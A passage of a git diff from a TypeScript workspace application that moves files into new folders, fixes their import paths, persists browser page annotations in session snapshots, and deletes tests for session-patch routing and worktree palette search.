-    sortOrder: 0,
-    createdAt: 1
-  }
-  const parkedLayout: TerminalLayoutSnapshot = {
-    root: { type: 'leaf', leafId: 'leaf-1' },
-    activeLeafId: 'leaf-1',
-    expandedLeafId: null,
-    buffersByLeafId: { 'leaf-1': 'scrollback captured at park' }
-  }
-  const catalog = {
-    repos: [
-      { id: 'local-repo', connectionId: null, executionHostId: 'local' },
-      { id: 'remote-repo', connectionId: null, executionHostId: 'runtime:env-1' }
-    ],
-    worktreesByRepo: {
-      'local-repo': [{ id: localWorktreeId, repoId: 'local-repo' }],
-      'remote-repo': [{ id: remoteWorktreeId, repoId: 'remote-repo', hostId: 'runtime:env-1' }]
-    }
-  } satisfies HostPersistenceState
-
-  it('routes a layouts-only patch to the partition of the tab the live catalog names', async () => {
-    // Layouts-only park patches lack tabs; payload-only routing sent them local, where main pruned unattributable remote scrollback (#21295).
-    const patch = vi.fn().mockResolvedValue(undefined)
-
-    await patchWorkspaceSessionByHost(
-      { get: vi.fn(), patch },
-      { terminalLayoutsByTabId: { 'remote-tab': parkedLayout } },
-      { ...catalog, tabsByWorktree: { [remoteWorktreeId]: [remoteTab] } }
-    ).written
-
-    expect(patch).toHaveBeenCalledWith(
-      { terminalLayoutsByTabId: { 'remote-tab': parkedLayout } },
-      'runtime:env-1'
-    )
-    expect(patch).toHaveBeenCalledWith({ terminalLayoutsByTabId: {} })
-  })
-
-  it('routes a remote-session-id-only patch the same way', async () => {
-    const patch = vi.fn().mockResolvedValue(undefined)
-
-    await patchWorkspaceSessionByHost(
-      { get: vi.fn(), patch },
-      { remoteSessionIdsByTabId: { 'remote-tab': 'sess-1' } },
-      { ...catalog, tabsByWorktree: { [remoteWorktreeId]: [remoteTab] } }
-    ).written
-
-    expect(patch).toHaveBeenCalledWith(
-      { remoteSessionIdsByTabId: { 'remote-tab': 'sess-1' } },
-      'runtime:env-1'
-    )
-    expect(patch).toHaveBeenCalledWith({ remoteSessionIdsByTabId: {} })
-  })
-
-  it('resolves a tab only the unified catalog lists', async () => {
-    const patch = vi.fn().mockResolvedValue(undefined)
-
-    await patchWorkspaceSessionByHost(
-      { get: vi.fn(), patch },
-      { terminalLayoutsByTabId: { 'remote-tab': parkedLayout } },
-      {
-        ...catalog,
-        unifiedTabsByWorktree: {
-          [remoteWorktreeId]: [{ id: 'remote-tab', worktreeId: remoteWorktreeId }]
-        }
-      }
-    ).written
-
-    expect(patch).toHaveBeenCalledWith(
-      { terminalLayoutsByTabId: { 'remote-tab': parkedLayout } },
-      'runtime:env-1'
-    )
-  })
-
-  it("lets the payload's own tab row outrank the live catalog", async () => {
-    // Payload tabs are merged into their target partition; layouts must follow those rows even if live store routing changed.
-    const patch = vi.fn().mockResolvedValue(undefined)
-
-    await patchWorkspaceSessionByHost(
-      { get: vi.fn(), patch },
-      {
-        tabsByWorktree: { [localWorktreeId]: [{ ...remoteTab, worktreeId: localWorktreeId }] },
-        terminalLayoutsByTabId: { 'remote-tab': parkedLayout }
-      },
-      { ...catalog, tabsByWorktree: { [remoteWorktreeId]: [remoteTab] } }
-    ).written
-
-    expect(patch).toHaveBeenCalledTimes(1)
-    expect(patch).toHaveBeenCalledWith(
-      expect.objectContaining({ terminalLayoutsByTabId: { 'remote-tab': parkedLayout } })
-    )
-  })
-})
diff --git a/src/renderer/src/lib/workspace/persistence/workspace-session-patch.ts b/src/renderer/src/lib/workspace/persistence/workspace-session-patch.ts
index 59105573a95..b31faacada5 100644
--- a/src/renderer/src/lib/workspace/persistence/workspace-session-patch.ts
+++ b/src/renderer/src/lib/workspace/persistence/workspace-session-patch.ts
@@ -155,10 +155,15 @@ export function buildWorkspaceSessionPatch(
       snapshot.browserTabsByWorktree
     )
   }
-  if (stagedVisibilityChanged || changed.has('browserPagesByWorkspace')) {
+  if (
+    stagedVisibilityChanged ||
+    changed.has('browserPagesByWorkspace') ||
+    changed.has('browserAnnotationsByPageId')
+  ) {
     patch.browserPagesByWorkspace = buildPersistedBrowserPagesByWorkspace(
       snapshot.browserPagesByWorkspace,
-      snapshot.remoteBrowserPageHandlesByPageId
+      snapshot.remoteBrowserPageHandlesByPageId,
+      snapshot.browserAnnotationsByPageId
     )
   }
   if (stagedVisibilityChanged || changed.has('activeBrowserTabIdByWorktree')) {
diff --git a/src/renderer/src/lib/workspace/persistence/workspace-session.ts b/src/renderer/src/lib/workspace/persistence/workspace-session.ts
index fba9c704a2f..866bba4b2d1 100644
--- a/src/renderer/src/lib/workspace/persistence/workspace-session.ts
+++ b/src/renderer/src/lib/workspace/persistence/workspace-session.ts
@@ -42,6 +42,7 @@ export type WorkspaceSessionSnapshot = Pick<
   | 'activeTabTypeByWorktree'
   | 'browserTabsByWorktree'
   | 'browserPagesByWorkspace'
+  | 'browserAnnotationsByPageId'
   | 'activeBrowserTabIdByWorktree'
   | 'browserUrlHistory'
   | 'workspaceDocHistory'
@@ -84,6 +85,7 @@ export const SESSION_RELEVANT_FIELDS = [
   'activeTabTypeByWorktree',
   'browserTabsByWorktree',
   'browserPagesByWorkspace',
+  'browserAnnotationsByPageId',
   'activeBrowserTabIdByWorktree',
   'browserUrlHistory',
   'workspaceDocHistory',
@@ -310,7 +312,8 @@ export function buildWorkspaceSessionPayload(
       snapshot.browserTabsByWorktree,
       snapshot.browserPagesByWorkspace,
       snapshot.activeBrowserTabIdByWorktree,
-      snapshot.remoteBrowserPageHandlesByPageId
+      snapshot.remoteBrowserPageHandlesByPageId,
+      snapshot.browserAnnotationsByPageId
     ),
     // Why: enforce the history storage cap here so stale renderer state can't make every write stringify an oversized legacy array.
     browserUrlHistory: normalizeBrowserHistoryEntries(snapshot.browserUrlHistory),
diff --git a/src/renderer/src/lib/worktree-sort-order-host-split.ts b/src/renderer/src/lib/workspace/persistence/worktree-sort-order-host-split.ts
similarity index 79%
rename from src/renderer/src/lib/worktree-sort-order-host-split.ts
rename to src/renderer/src/lib/workspace/persistence/worktree-sort-order-host-split.ts
index d5a1f1d50d6..a8c18ae4d25 100644
--- a/src/renderer/src/lib/worktree-sort-order-host-split.ts
+++ b/src/renderer/src/lib/workspace/persistence/worktree-sort-order-host-split.ts
@@ -1,7 +1,10 @@
-import { LOCAL_EXECUTION_HOST_ID, toRuntimeExecutionHostId } from '../../../shared/execution-host'
-import { isUnprovenServerSshRoute } from './workspace/ownership/resolve-owner'
-import { resolveOwnerOrLocal } from './workspace/ownership/worktree-runtime-owner'
-import type { WorktreeRuntimeOwnerState } from './workspace/ownership/worktree-runtime-owner-state'
+import {
+  LOCAL_EXECUTION_HOST_ID,
+  toRuntimeExecutionHostId
+} from '../../../../../shared/execution-host'
+import { isUnprovenServerSshRoute } from '../ownership/resolve-owner'
+import { resolveOwnerOrLocal } from '../ownership/worktree-runtime-owner'
+import type { WorktreeRuntimeOwnerState } from '../ownership/worktree-runtime-owner-state'
 
 export type WorktreeSortOrderHostGroup = {
   hostId: string
diff --git a/src/renderer/src/lib/worktree-sort-order-persistence.ts b/src/renderer/src/lib/workspace/persistence/worktree-sort-order-persistence.ts
similarity index 87%
rename from src/renderer/src/lib/worktree-sort-order-persistence.ts
rename to src/renderer/src/lib/workspace/persistence/worktree-sort-order-persistence.ts
index 6938d4b364f..76a3b94386b 100644
--- a/src/renderer/src/lib/worktree-sort-order-persistence.ts
+++ b/src/renderer/src/lib/workspace/persistence/worktree-sort-order-persistence.ts
@@ -1,6 +1,6 @@
 import { callRuntimeRpc } from '@/runtime/rpc/calls/runtime-rpc-call'
-import { parseExecutionHostId } from '../../../shared/execution-host'
-import type { WorktreeRuntimeOwnerState } from './workspace/ownership/worktree-runtime-owner-state'
+import { parseExecutionHostId } from '../../../../../shared/execution-host'
+import type { WorktreeRuntimeOwnerState } from '../ownership/worktree-runtime-owner-state'
 import { splitWorktreeSortOrderByHost } from './worktree-sort-order-host-split'
 
 function ignoreSortOrderPersistenceFailure(promise: Promise<unknown>): void {
diff --git a/src/renderer/src/lib/cmd-j-evaluation-fixture.ts b/src/renderer/src/lib/workspace/search/palette/cmd-j-evaluation-fixture.ts
similarity index 97%
rename from src/renderer/src/lib/cmd-j-evaluation-fixture.ts
rename to src/renderer/src/lib/workspace/search/palette/cmd-j-evaluation-fixture.ts
index 849473aa4d1..b8df5ae0bdb 100644
--- a/src/renderer/src/lib/cmd-j-evaluation-fixture.ts
+++ b/src/renderer/src/lib/workspace/search/palette/cmd-j-evaluation-fixture.ts
@@ -1,5 +1,5 @@
-import type { Repo } from '../../../shared/repo-types'
-import type { Worktree } from '../../../shared/worktree/types'
+import type { Repo } from '../../../../../../shared/repo-types'
+import type { Worktree } from '../../../../../../shared/worktree/types'
 
 /** Synthetic names/IDs/titles with realistic workspace shapes for the multi-keyword evaluation gate. */
 export const CMD_J_FIXTURE_REPOS: Repo[] = [
diff --git a/src/renderer/src/lib/cmd-j-github-url-lookup.ts b/src/renderer/src/lib/workspace/search/palette/cmd-j-github-url-lookup.ts
similarity index 59%
rename from src/renderer/src/lib/cmd-j-github-url-lookup.ts
rename to src/renderer/src/lib/workspace/search/palette/cmd-j-github-url-lookup.ts
index 5e2380a38c5..087b8b60703 100644
--- a/src/renderer/src/lib/cmd-j-github-url-lookup.ts
+++ b/src/renderer/src/lib/workspace/search/palette/cmd-j-github-url-lookup.ts
@@ -1,8 +1,8 @@
-import type { GitHubIssueOrPRLink } from '../../../shared/github/links'
-import type { GitHubWorkItem } from '../../../shared/github/work-item-types'
-import type { Repo } from '../../../shared/repo-types'
-import type { TaskSourceContext } from '../../../shared/work-items/task-source-context'
-import { lookupGitHubWorkItemByOwnerRepoForSource } from './work-items/github/github-work-item-source-lookup'
+import type { GitHubIssueOrPRLink } from '../../../../../../shared/github/links'
+import type { GitHubWorkItem } from '../../../../../../shared/github/work-item-types'
+import type { Repo } from '../../../../../../shared/repo-types'
+import type { TaskSourceContext } from '../../../../../../shared/work-items/task-source-context'
+import { lookupGitHubWorkItemByOwnerRepoForSource } from '../../../work-items/github/github-work-item-source-lookup'
 
 export async function lookupCmdJGitHubUrlWorkItem(args: {
   link: GitHubIssueOrPRLink
diff --git a/src/renderer/src/lib/cmd-j-host-qualified-candidate-ownership.test.ts b/src/renderer/src/lib/workspace/search/palette/cmd-j-host-qualified-candidate-ownership.test.ts
similarity index 91%
rename from src/renderer/src/lib/cmd-j-host-qualified-candidate-ownership.test.ts
rename to src/renderer/src/lib/workspace/search/palette/cmd-j-host-qualified-candidate-ownership.test.ts
index cefdaa5d18e..33af26de633 100644
--- a/src/renderer/src/lib/cmd-j-host-qualified-candidate-ownership.test.ts
+++ b/src/renderer/src/lib/workspace/search/palette/cmd-j-host-qualified-candidate-ownership.test.ts
@@ -1,9 +1,12 @@
 import { describe, expect, it } from 'vitest'
-import type { BrowserPage, BrowserWorkspace } from '../../../shared/browser-workspace-types'
-import type { Tab } from '../../../shared/tab-types'
-import type { Worktree } from '../../../shared/worktree/types'
-import './workspace/search/tabs/workspace-tab-search-types'
-import { buildOpenTabSearchEntries } from '../components/tab-bar/open-tab-search-entries'
+import type {
+  BrowserPage,
+  BrowserWorkspace
+} from '../../../../../../shared/browser-workspace-types'
+import type { Tab } from '../../../../../../shared/tab-types'
+import type { Worktree } from '../../../../../../shared/worktree/types'
+import '../tabs/workspace-tab-search-types'
+import { buildOpenTabSearchEntries } from '../../../../components/tab-bar/open-tab-search-entries'
 
 const SHARED_WORKTREE_ID = 'repo-shared::/workspace'
 
diff --git a/src/renderer/src/lib/cmd-j-row-index-jump.ts b/src/renderer/src/lib/workspace/search/palette/cmd-j-row-index-jump.ts
similarity index 100%
rename from src/renderer/src/lib/cmd-j-row-index-jump.ts
rename to src/renderer/src/lib/workspace/search/palette/cmd-j-row-index-jump.ts
diff --git a/src/renderer/src/lib/cmd-j-section-leadership.ts b/src/renderer/src/lib/workspace/search/palette/cmd-j-section-leadership.ts
similarity index 92%
rename from src/renderer/src/lib/cmd-j-section-leadership.ts
rename to src/renderer/src/lib/workspace/search/palette/cmd-j-section-leadership.ts
index b3f4d2433e0..40b4b2ed2f7 100644
--- a/src/renderer/src/lib/cmd-j-section-leadership.ts
+++ b/src/renderer/src/lib/workspace/search/palette/cmd-j-section-leadership.ts
@@ -1,12 +1,12 @@
 import {
   paletteResultQualityClassRank,
   type PaletteResultQualityClass
-} from '../../../shared/palette-match/match-quality'
-import type { PaletteDocumentRank } from '../../../shared/palette-match/palette-document'
+} from '../../../../../../shared/palette-match/match-quality'
+import type { PaletteDocumentRank } from '../../../../../../shared/palette-match/palette-document'
 import {
   comparePaletteEntityRanks,
   type PaletteActivityRank
-} from '../../../shared/palette-match/palette-ranking'
+} from '../../../../../../shared/palette-match/palette-ranking'
 
 // Section scores encode incompatible list positions; compare shared match ranks first, lower leading.
 export const NO_PALETTE_QUALITY_RANK = Number.MAX_SAFE_INTEGER
diff --git a/src/renderer/src/lib/order-empty-query-worktrees.ts b/src/renderer/src/lib/workspace/search/palette/order-empty-query-worktrees.ts
similarity index 84%
rename from src/renderer/src/lib/order-empty-query-worktrees.ts
rename to src/renderer/src/lib/workspace/search/palette/order-empty-query-worktrees.ts
index 1bfeb4c2f1f..92e50bef444 100644
--- a/src/renderer/src/lib/order-empty-query-worktrees.ts
+++ b/src/renderer/src/lib/workspace/search/palette/order-empty-query-worktrees.ts
@@ -1,8 +1,8 @@
-import type { ExecutionHostId } from '../../../shared/execution-host'
-import type { Worktree } from '../../../shared/worktree/types'
-import { isPaletteCurrentWorktree } from './workspace/search/palette-repo-resolution'
-import { compareWorktreeDisplayName } from './worktree-display-name-order'
-import { getWorktreeVisitTimestamp } from './workspace/activation/worktree-visit-recency'
+import type { ExecutionHostId } from '../../../../../../shared/execution-host'
+import type { Worktree } from '../../../../../../shared/worktree/types'
+import { isPaletteCurrentWorktree } from '../palette-repo-resolution'
+import { compareWorktreeDisplayName } from '../../display/worktree-display-name-order'
+import { getWorktreeVisitTimestamp } from '../../activation/worktree-visit-recency'
 
 export type OrderEmptyQueryInputs = {
   visibleWorktrees: readonly Worktree[]
diff --git a/src/renderer/src/lib/recent-workspace-tab-rows.ts b/src/renderer/src/lib/workspace/search/palette/recent-workspace-tab-rows.ts
similarity index 84%
rename from src/renderer/src/lib/recent-workspace-tab-rows.ts
rename to src/renderer/src/lib/workspace/search/palette/recent-workspace-tab-rows.ts
index c73be15e0b1..fb90c820534 100644
--- a/src/renderer/src/lib/recent-workspace-tab-rows.ts
+++ b/src/renderer/src/lib/workspace/search/palette/recent-workspace-tab-rows.ts
@@ -3,16 +3,16 @@ import {
   resolveAttention,
   type SmartClass,
   type TabPaneInputSources
-} from '../../../shared/sidebar-list/smart-attention'
-import { tabHasLivePty } from '../../../shared/tab-has-live-pty'
-import { agentVerdictDisplayMark } from '../../../shared/agent-status/lifecycle/agent-main-agent-verdict'
+} from '../../../../../../shared/sidebar-list/smart-attention'
+import { tabHasLivePty } from '../../../../../../shared/tab-has-live-pty'
+import { agentVerdictDisplayMark } from '../../../../../../shared/agent-status/lifecycle/agent-main-agent-verdict'
 import {
   isAgentStatusFresh,
   AGENT_STATUS_STALE_AFTER_MS
-} from '../../../shared/agent-status/contracts/agent-status-freshness'
-import type { WorktreeStatus } from './worktree-status'
-import type { TerminalTab } from '../../../shared/workspace-layout/terminal-tab-types'
-import type { ExecutionHostId } from '../../../shared/execution-host'
+} from '../../../../../../shared/agent-status/contracts/agent-status-freshness'
+import type { WorktreeStatus } from '../../../../../../shared/worktree-status-rollup'
+import type { TerminalTab } from '../../../../../../shared/workspace-layout/terminal-tab-types'
+import type { ExecutionHostId } from '../../../../../../shared/execution-host'
 
 /** Row model for Cmd+J's empty-query recent tabs section. */
 export type RecentWorkspaceTabRow = {
diff --git a/src/renderer/src/lib/workspace/search/tabs/workspace-tab-palette-activation.store.test.ts b/src/renderer/src/lib/workspace/search/tabs/workspace-tab-palette-activation.store.test.ts
index 9fdcd4ad5c0..015cde35d3d 100644
--- a/src/renderer/src/lib/workspace/search/tabs/workspace-tab-palette-activation.store.test.ts
+++ b/src/renderer/src/lib/workspace/search/tabs/workspace-tab-palette-activation.store.test.ts
@@ -16,7 +16,7 @@ import { activateWorkspaceTabPaletteResult } from './workspace-tab-palette-activ
 import {
   getClientHostedBrowserRowSelection,
   selectClientHostedBrowserRow
-} from '../../../pane-manager/client-hosted-browser-row-state'
+} from '../../../../runtime/browser/client-hosting/client-hosted-browser-row-state'
 
 const initialState = useAppStore.getInitialState()
 afterEach(() => useAppStore.setState(initialState, true))
diff --git a/src/renderer/src/lib/workspace/search/tabs/workspace-tab-palette-activation.ts b/src/renderer/src/lib/workspace/search/tabs/workspace-tab-palette-activation.ts
index e4ce30d5eb1..cfdbf60ee99 100644
--- a/src/renderer/src/lib/workspace/search/tabs/workspace-tab-palette-activation.ts
+++ b/src/renderer/src/lib/workspace/search/tabs/workspace-tab-palette-activation.ts
@@ -7,7 +7,7 @@ import type { AppState } from '@/store/types'
 import type { ExecutionHostId } from '../../../../../../shared/execution-host'
 import { activateAndRevealWorkspace } from '../../activation/worktree-activation'
 import { activateStructuredAgentSessionTab } from '../../../agent-session/structured-agent-session-tab-activation'
-import { clearClientHostedBrowserRowSelection } from '../../../pane-manager/client-hosted-browser-row-state'
+import { clearClientHostedBrowserRowSelection } from '../../../../runtime/browser/client-hosting/client-hosted-browser-row-state'
 import { isEditorTabContentType } from '@/store/slices/editor/tabs/editor-tab-content-type'
 import {
   findAmbiguousWorktreeIds,
diff --git a/src/renderer/src/lib/workspace/search/tabs/workspace-tab-palette-entry-builder.ts b/src/renderer/src/lib/workspace/search/tabs/workspace-tab-palette-entry-builder.ts
index 4df51f6e468..e832aed2aa8 100644
--- a/src/renderer/src/lib/workspace/search/tabs/workspace-tab-palette-entry-builder.ts
+++ b/src/renderer/src/lib/workspace/search/tabs/workspace-tab-palette-entry-builder.ts
@@ -2,7 +2,6 @@ import {
   resolveTerminalTabTitle,
   resolveUnifiedTabLabel
 } from '../../../../../../shared/tab-title-resolution'
-import type { Tab } from '../../../../../../shared/tab-types'
 import { getEditorDisplayLabel } from '@/components/editor/editor-labels'
 import { buildPaletteTabDocument } from '../../../../../../shared/palette-match/tab-document'
 import {
@@ -10,20 +9,15 @@ import {
   isPaletteCurrentWorktree,
   resolvePaletteRepoForWorktree
 } from '../palette-repo-resolution'
-import { resolveOpenTabOccupantAgent } from '../../../open-tab-occupant-agent'
+import { resolveOpenTabOccupantAgent } from '../../../agent-session/tab-identity/open-tab-occupant-agent'
 import {
   resolveWorktreeBranchLabel,
   resolveWorktreeDisplayName
-} from '../../../worktree-default-display-name'
+} from '../../display/worktree-default-display-name'
 import {
   buildAgentMetadataTabIndex,
   collectAgentMetadataFromIndex
 } from './workspace-tab-agent-metadata'
-import type {
-  BuildSearchableWorkspaceTabsOptions,
-  SearchableWorkspaceTab,
-  WorkspaceTabContentType
-} from './workspace-tab-search-types'
 import {
   findAmbiguousWorktreeIds,
   findDuplicateIds,
@@ -32,12 +26,18 @@ import {
   isOpenFileOwnedByWorktree,
   isUnifiedTabOwnedByWorktree
 } from '../../ownership/unified-tab-host-ownership'
-import type { OpenFile } from '@/store/slices/editor/types/open-file'
-import type { TerminalTab } from '../../../../../../shared/workspace-layout/terminal-tab-types'
 import { isWorkspaceTabContentType } from './workspace-tab-palette-content-type'
 import { getActiveUnifiedTabId, isCurrentWorkspaceTab } from './workspace-tab-palette-current-tab'
 import { projectedStructuredChatTabName } from '@/runtime/native-chat/naming/structured-chat-tab-name'
 import { agentTypeToIconAgent } from '../../../../../../shared/agent-status/presentation/agent-type-icon-agent'
+import type { Tab } from '../../../../../../shared/tab-types'
+import type {
+  BuildSearchableWorkspaceTabsOptions,
+  SearchableWorkspaceTab,
+  WorkspaceTabContentType
+} from './workspace-tab-search-types'
+import type { OpenFile } from '@/store/slices/editor/types/open-file'
+import type { TerminalTab } from '../../../../../../shared/workspace-layout/terminal-tab-types'
 
 export function buildSearchableWorkspaceTabEntries({
   worktrees,
diff --git a/src/renderer/src/lib/workspace/search/tabs/workspace-tab-palette-results.ts b/src/renderer/src/lib/workspace/search/tabs/workspace-tab-palette-results.ts
index a116c3a3e19..6f8bae21646 100644
--- a/src/renderer/src/lib/workspace/search/tabs/workspace-tab-palette-results.ts
+++ b/src/renderer/src/lib/workspace/search/tabs/workspace-tab-palette-results.ts
@@ -9,7 +9,7 @@ import {
 import {
   resolveWorktreeBranchLabel,
   resolveWorktreeDisplayName
-} from '../../../worktree-default-display-name'
+} from '../../display/worktree-default-display-name'
 import { matchWorkspaceTabAgentSnippet } from './workspace-tab-agent-snippet-match'
 import { maxAgentActivityAt } from './workspace-tab-agent-metadata'
 import type { ExecutionHostId } from '../../../../../../shared/execution-host'
diff --git a/src/renderer/src/lib/workspace/search/worktrees/worktree-palette-document.ts b/src/renderer/src/lib/workspace/search/worktrees/worktree-palette-document.ts
index afe11465436..62ee63ea12b 100644
--- a/src/renderer/src/lib/workspace/search/worktrees/worktree-palette-document.ts
+++ b/src/renderer/src/lib/workspace/search/worktrees/worktree-palette-document.ts
@@ -21,7 +21,7 @@ import {
 import {
   resolveWorktreeBranchLabel,
   resolveWorktreeDisplayName
-} from '../../../worktree-default-display-name'
+} from '../../display/worktree-default-display-name'
 import type { HostedReviewInfo } from '../../../../../../shared/source-control/hosted-review/hosted-review-contracts'
 import type { Repo } from '../../../../../../shared/repo-types'
 import { getWorkspaceAttachments } from '../../../../../../shared/workspace-attachments/workspace-attachments'
@@ -116,6 +116,18 @@ function resolveIssueTitle(
   return sources.issueCache[key]?.data?.title ?? ''
 }
 
+// Each saved link is its own unit: same-number links (another repo, or the legacy issue field) must not
+// shadow each other's saved titles.
+function withEvidenceId(evidence: PaletteComposedEvidence, id: string): PaletteComposedEvidence {
+  const prefix = evidence.unit.id.length
+  return {
+    unit: { ...evidence.unit, id },
+    fields: evidence.fields.map(
+      (field) => field && { ...field, id: `${id}${field.id.slice(prefix)}`, evidenceId: id }
+    )
+  }
+}
+
 function buildEvidence(
   worktree: Worktree,
   repo: Repo | undefined,
@@ -138,7 +150,7 @@ function buildEvidence(
     }),
     ...getWorkspaceAttachments({ linkedItems: worktree.linkedItems }).map((item) => {
       const evidence = buildWorktreeAttachmentEvidence(item)
-      return evidence ? { ...evidence, id: `attachment:${getWorkspaceAttachmentKey(item)}` } : null
+      return evidence && withEvidenceId(evidence, `attachment:${getWorkspaceAttachmentKey(item)}`)
     }),
     ...ports.map((port) => buildWorktreePortEvidence(port))
   ]
diff --git a/src/renderer/src/lib/workspace/search/worktrees/worktree-palette-search.test.ts b/src/renderer/src/lib/workspace/search/worktrees/worktree-palette-search.test.ts
deleted file mode 100644
index e84b675bf1b..00000000000
--- a/src/renderer/src/lib/workspace/search/worktrees/worktree-palette-search.test.ts
+++ /dev/null
@@ -1,164 +0,0 @@
-import { describe, expect, it } from 'vitest'
-import { searchWorktrees } from './worktree-palette-search'
-import '../../../../../../shared/palette-match/worktree-palette-query-bounds'
-import type { Repo } from '../../../../../../shared/repo-types'
-import type { Worktree } from '../../../../../../shared/worktree/types'
-import type { HostedReviewInfo } from '../../../../../../shared/source-control/hosted-review/hosted-review-contracts'
-
-function makeWorktree(overrides: Partial<Worktree> = {}): Worktree {
-  return {
-    id: 'wt-1',
-    repoId: 'repo-1',
-    path: '/tmp/wt-1',
-    head: 'abc123',
-    branch: 'refs/heads/feature/worktree-jump',
-    isBare: false,
-    isMainWorktree: false,
-    displayName: 'Jump Palette',
-    comment: '',
-    linkedIssue: null,
-    linkedPR: null,
-    linkedLinearIssue: null,
-    isArchived: false,
-    isUnread: false,
-    isPinned: false,
-    sortOrder: 0,
-    lastActivityAt: 0,
-    ...overrides
-  }
-}
-
-const repoMap = new Map<string, Repo>([
-  [
-    'repo-1',
-    {
-      id: 'repo-1',
-      path: '/repo/orca',
-      displayName: 'stablyai/orca',
-      badgeColor: '#22c55e',
-      addedAt: 0
-    }
-  ]
-])
-
-function gitLabReview(overrides: Partial<HostedReviewInfo> = {}): HostedReviewInfo {
-  return {
-    provider: 'gitlab',
-    number: 17,
-    title: 'Reuse checks tab review metadata',
-    state: 'open',
-    url: 'https://gitlab.com/acme/orca/-/merge_requests/17',
-    status: 'success',
-    updatedAt: '2026-07-12T00:00:00Z',
-    mergeable: 'MERGEABLE',
-    ...overrides
-  }
-}
-
-describe('worktree-palette-search', () => {
-  it('falls back to branch text when a cleared display name left it undefined', () => {
-    const cleared = makeWorktree({
-      displayName: undefined as unknown as string,
-      branch: 'refs/heads/feature/worktree-jump'
-    })
-
-    expect(() => searchWorktrees([cleared], 'jump', repoMap)).not.toThrow()
-    // Highlight range indexes the branch-derived label the palette actually renders.
-    expect(searchWorktrees([cleared], 'jump', repoMap)[0]).toMatchObject({
-      worktreeId: 'wt-1',
-      matchedFields: ['displayName'],
-      displayNameRanges: [
-        { start: 'feature/worktree-'.length, end: 'feature/worktree-jump'.length }
-      ]
-    })
-  })
-
-  it('does not search stale GitHub cache metadata when Checks selected another review', () => {
-    const staleWorktree = makeWorktree({
-      branch: 'refs/heads/feature/palette-refresh',
-      linkedPR: 99
-    })
-    const checksReviewByWorktree = new Map([
-      [staleWorktree, gitLabReview({ title: 'Current merge request' })]
-    ])
-    const prCache = {
-      '/repo/orca::feature/palette-refresh': { data: { number: 99, title: 'Stale GitHub title' } }
-    }
-
-    expect(
-      searchWorktrees([staleWorktree], 'stale github title', repoMap, {
-        prCache,
-        checksReviewByWorktree
-      })
-    ).toEqual([])
-    expect(searchWorktrees([staleWorktree], '#99', repoMap, { checksReviewByWorktree })).toEqual([])
-  })
-
-  it('does not search stale GitHub metadata while a linked non-GitHub review is loading', () => {
-    const prCache = {
-      '/repo/orca::feature/palette-refresh': { data: { number: 99, title: 'Stale GitHub title' } }
-    }
-    const staleWorktree = makeWorktree({
-      branch: 'refs/heads/feature/palette-refresh',
-      linkedPR: 99,
-      linkedGitLabMR: 17
-    })
-    const checksReviewByWorktree = new Map<Worktree, HostedReviewInfo | null>([
-      [staleWorktree, null]
-    ])
-
-    expect(
-      searchWorktrees([staleWorktree], 'stale github title', repoMap, {
-        prCache,
-        checksReviewByWorktree
-      })
-    ).toEqual([])
-    expect(
-      searchWorktrees([staleWorktree], '#99', repoMap, { prCache, checksReviewByWorktree })
-    ).toEqual([])
-  })
-
-  it('supports "repo/worktree" composite queries and highlights both segments', () => {
-    const worktrees = [
-      makeWorktree({ id: 'wt-main', branch: 'refs/heads/main', displayName: 'main' }),
-      makeWorktree({
-        id: 'wt-feature',
-        branch: 'refs/heads/feature/foo',
-        displayName: 'feature foo'
-      })
-    ]
-
-    const results = searchWorktrees(worktrees, 'orca/main', repoMap)
-
-    expect(results).toHaveLength(1)
-    expect(results[0].worktreeId).toBe('wt-main')
-    expect(results[0].matchedFields).toEqual(['repo', 'branch'])
-    expect(results[0].repoRanges).toEqual([{ start: 9, end: 13 }])
-    expect(results[0].branchRanges).toEqual([{ start: 0, end: 4 }])
-  })
-
-  it('matches a pasted GitHub issue URL to the linked worktree instead of the URL text', () => {
-    const results = searchWorktrees(
-      [
-        makeWorktree({ id: 'wt-issue', linkedIssue: 14198 }),
-        makeWorktree({ id: 'wt-other', linkedIssue: 7, displayName: 'github.com' })
-      ],
-      'https://github.com/stablyai/orca/issues/14198',
-      repoMap
-    )
-
-    expect(results).toEqual([
-      expect.objectContaining({
-        worktreeId: 'wt-issue',
-        matchedFields: ['issue'],
-        qualityClass: 'exact-intent',
-        supportingText: {
-          labelKind: 'issue',
-          text: 'Issue #14198',
-          matchRanges: [{ start: 0, end: 'Issue #14198'.length }],
-          accessibilityLabel: 'Linked issue'
-        }
-      })
-    ])
-  })
-})
diff --git a/src/renderer/src/lib/worktree-sleep-intent.ts b/src/renderer/src/lib/workspace/sleep/worktree-sleep-intent.ts
similarity index 100%
rename from src/renderer/src/lib/worktree-sleep-intent.ts
rename to src/renderer/src/lib/workspace/sleep/worktree-sleep-intent.ts
diff --git a/src/renderer/src/lib/unified-tab-anchor-insertion.ts b/src/renderer/src/lib/workspace/tabs/unified-tab-anchor-insertion.ts
similarity index 88%
rename from src/renderer/src/lib/unified-tab-anchor-insertion.ts
rename to src/renderer/src/lib/workspace/tabs/unified-tab-anchor-insertion.ts
index 7192bf7c165..ea1126de250 100644
--- a/src/renderer/src/lib/unified-tab-anchor-insertion.ts
+++ b/src/renderer/src/lib/workspace/tabs/unified-tab-anchor-insertion.ts
@@ -1,5 +1,5 @@
-import { useAppStore } from '../store'
-import { insertTabIdIntoOrder } from '../../../shared/workspace-layout/tab-order'
+import { useAppStore } from '../../../store/index'
+import { insertTabIdIntoOrder } from '../../../../../shared/workspace-layout/tab-order'
 
 /** Move `tabId` to sit immediately after `anchorTabId`; no-op unless both share a live group. */
 export function insertUnifiedTabAfterAnchor(
diff --git a/src/renderer/src/lib/workspace/tabs/workspace-tab-commands.ts b/src/renderer/src/lib/workspace/tabs/workspace-tab-commands.ts
index 4266fdd5191..e288b108244 100644
--- a/src/renderer/src/lib/workspace/tabs/workspace-tab-commands.ts
+++ b/src/renderer/src/lib/workspace/tabs/workspace-tab-commands.ts
@@ -6,6 +6,7 @@ import {
   resolvePinnedTabLabel
 } from '@/store/slices/tabs/closing/pinned-tab-close-guard'
 import { createWorkspaceTabCloseCommands } from '@/components/tab-group/workspace-tab-close-commands'
+import { hasUnsentBrowserNotes } from '@/store/slices/browser/annotations/browser-page-annotation'
 import { captureWorkspaceEmptiedReaction } from '@/components/tab-group/workspace-emptied-reaction'
 import {
   handleSwitchRecentTab,
@@ -174,6 +175,11 @@ export function dispatchWorkspaceTabCommand(command: WorkspaceTabCommand): boole
     if ((command.bulk || command.skipEmptyCheck) && tab.isPinned) {
       return true
     }
